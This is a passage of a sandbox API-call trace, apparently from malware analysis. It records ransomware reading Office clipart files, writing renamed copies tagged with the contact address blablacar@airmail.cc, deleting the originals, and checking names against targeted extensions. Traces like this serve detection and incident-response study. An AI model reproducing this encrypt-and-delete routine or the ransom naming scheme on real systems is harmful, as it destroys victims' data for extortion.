office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0191.539] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.539] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0191.540] GetLastError () returned 0x0 [0191.540] ReadFile (in: hFile=0x4d4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3772, lpOverlapped=0x0) returned 1 [0191.542] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x3780, lpOverlapped=0x0) returned 1 [0191.543] ReadFile (in: hFile=0x4d4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0191.543] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0191.543] SetEndOfFile (hFile=0x540) returned 1 [0191.543] CloseHandle (hObject=0x540) returned 1 [0191.543] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.543] SetEndOfFile (hFile=0x4d4) returned 1 [0191.546] CloseHandle (hObject=0x4d4) returned 1 [0191.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0191.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.547] lstrlenW (lpString=".doc") returned 4 [0191.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString=".docx") returned 5 [0191.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.548] lstrlenW (lpString=".pdf") returned 4 [0191.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString=".xls") returned 4 [0191.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.548] lstrlenW (lpString=".xlsx") returned 5 [0191.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.548] lstrlenW (lpString=".ppt") returned 4 [0191.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.548] lstrlenW (lpString=".zip") returned 4 [0191.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.548] lstrlenW (lpString=".rar") returned 4 [0191.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString=".bz2") returned 4 [0191.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString=".7z") returned 3 [0191.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.548] lstrlenW (lpString=".dbf") returned 4 [0191.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.548] lstrlenW (lpString=".1cd") returned 4 [0191.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.548] lstrlenW (lpString=".jpg") returned 4 [0191.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.548] lstrlenW (lpString=".doc") returned 4 [0191.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.549] lstrlenW (lpString=".docx") returned 5 [0191.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.549] lstrlenW (lpString=".pdf") returned 4 [0191.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.549] lstrlenW (lpString=".xls") returned 4 [0191.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.549] lstrlenW (lpString=".xlsx") returned 5 [0191.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.549] lstrlenW (lpString=".ppt") returned 4 [0191.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.549] lstrlenW (lpString=".zip") returned 4 [0191.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.549] lstrlenW (lpString=".rar") returned 4 [0191.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.549] lstrlenW (lpString=".bz2") returned 4 [0191.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.549] lstrlenW (lpString=".7z") returned 3 [0191.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.549] lstrlenW (lpString=".dbf") returned 4 [0191.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.549] lstrlenW (lpString=".1cd") returned 4 [0191.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0191.550] lstrlenW (lpString=".jpg") returned 4 [0191.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.550] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.550] lstrlenW (lpString="FD00096_.WMF") returned 12 [0191.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0191.551] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=37390) returned 1 [0191.551] CloseHandle (hObject=0x4d4) returned 1 [0191.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0191.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0191.552] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.552] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0191.553] GetLastError () returned 0x0 [0191.553] ReadFile (in: hFile=0x4d4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x920e, lpOverlapped=0x0) returned 1 [0191.846] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x9210, lpOverlapped=0x0) returned 1 [0191.972] ReadFile (in: hFile=0x4d4, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0191.972] WriteFile (in: hFile=0x540, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0191.972] SetEndOfFile (hFile=0x540) returned 1 [0191.973] CloseHandle (hObject=0x540) returned 1 [0191.973] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0191.973] SetEndOfFile (hFile=0x4d4) returned 1 [0191.976] CloseHandle (hObject=0x4d4) returned 1 [0191.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0192.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.648] lstrlenW (lpString=".doc") returned 4 [0192.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.648] lstrlenW (lpString=".docx") returned 5 [0192.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.649] lstrlenW (lpString=".pdf") returned 4 [0192.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.649] lstrlenW (lpString=".xls") returned 4 [0192.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.649] lstrlenW (lpString=".xlsx") returned 5 [0192.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.649] lstrlenW (lpString=".ppt") returned 4 [0192.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.649] lstrlenW (lpString=".zip") returned 4 [0192.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.649] lstrlenW (lpString=".rar") returned 4 [0192.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.649] lstrlenW (lpString=".bz2") returned 4 [0192.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.649] lstrlenW (lpString=".7z") returned 3 [0192.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.649] lstrlenW (lpString=".dbf") returned 4 [0192.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.649] lstrlenW (lpString=".1cd") returned 4 [0192.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.649] lstrlenW (lpString=".jpg") returned 4 [0192.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.649] lstrlenW (lpString=".doc") returned 4 [0192.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.650] lstrlenW (lpString=".docx") returned 5 [0192.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.650] lstrlenW (lpString=".pdf") returned 4 [0192.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.650] lstrlenW (lpString=".xls") returned 4 [0192.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.650] lstrlenW (lpString=".xlsx") returned 5 [0192.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.650] lstrlenW (lpString=".ppt") returned 4 [0192.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.650] lstrlenW (lpString=".zip") returned 4 [0192.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.650] lstrlenW (lpString=".rar") returned 4 [0192.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.650] lstrlenW (lpString=".bz2") returned 4 [0192.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.650] lstrlenW (lpString=".7z") returned 3 [0192.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.650] lstrlenW (lpString=".dbf") returned 4 [0192.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.651] lstrlenW (lpString=".1cd") returned 4 [0192.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68 [0192.651] lstrlenW (lpString=".jpg") returned 4 [0192.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.651] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0192.651] lstrlenW (lpString="FD00414_.WMF") returned 12 [0192.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0193.109] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11002) returned 1 [0193.109] CloseHandle (hObject=0x3f8) returned 1 [0193.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0193.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0193.110] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.110] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.111] GetLastError () returned 0x0 [0193.111] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2afa, lpOverlapped=0x0) returned 1 [0193.113] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2b00, lpOverlapped=0x0) returned 1 [0193.114] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0193.114] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0193.115] SetEndOfFile (hFile=0x4d8) returned 1 [0193.115] CloseHandle (hObject=0x4d8) returned 1 [0193.115] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0193.115] SetEndOfFile (hFile=0x3f8) returned 1 [0193.118] CloseHandle (hObject=0x3f8) returned 1 [0193.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0193.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.119] lstrlenW (lpString=".doc") returned 4 [0193.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.119] lstrlenW (lpString=".docx") returned 5 [0193.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.119] lstrlenW (lpString=".pdf") returned 4 [0193.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.119] lstrlenW (lpString=".xls") returned 4 [0193.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.119] lstrlenW (lpString=".xlsx") returned 5 [0193.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.120] lstrlenW (lpString=".ppt") returned 4 [0193.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.120] lstrlenW (lpString=".zip") returned 4 [0193.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.120] lstrlenW (lpString=".rar") returned 4 [0193.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString=".bz2") returned 4 [0193.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString=".7z") returned 3 [0193.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.120] lstrlenW (lpString=".dbf") returned 4 [0193.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.120] lstrlenW (lpString=".1cd") returned 4 [0193.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.120] lstrlenW (lpString=".jpg") returned 4 [0193.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.120] lstrlenW (lpString=".doc") returned 4 [0193.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString=".docx") returned 5 [0193.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.120] lstrlenW (lpString=".pdf") returned 4 [0193.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.120] lstrlenW (lpString=".xls") returned 4 [0193.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.121] lstrlenW (lpString=".xlsx") returned 5 [0193.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.121] lstrlenW (lpString=".ppt") returned 4 [0193.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.121] lstrlenW (lpString=".zip") returned 4 [0193.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.121] lstrlenW (lpString=".rar") returned 4 [0193.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.121] lstrlenW (lpString=".bz2") returned 4 [0193.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.121] lstrlenW (lpString=".7z") returned 3 [0193.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.121] lstrlenW (lpString=".dbf") returned 4 [0193.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.121] lstrlenW (lpString=".1cd") returned 4 [0193.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0193.121] lstrlenW (lpString=".jpg") returned 4 [0193.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.121] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.121] lstrlenW (lpString="FD00438_.WMF") returned 12 [0193.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0193.122] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5098) returned 1 [0193.122] CloseHandle (hObject=0x3f8) returned 1 [0193.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0193.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 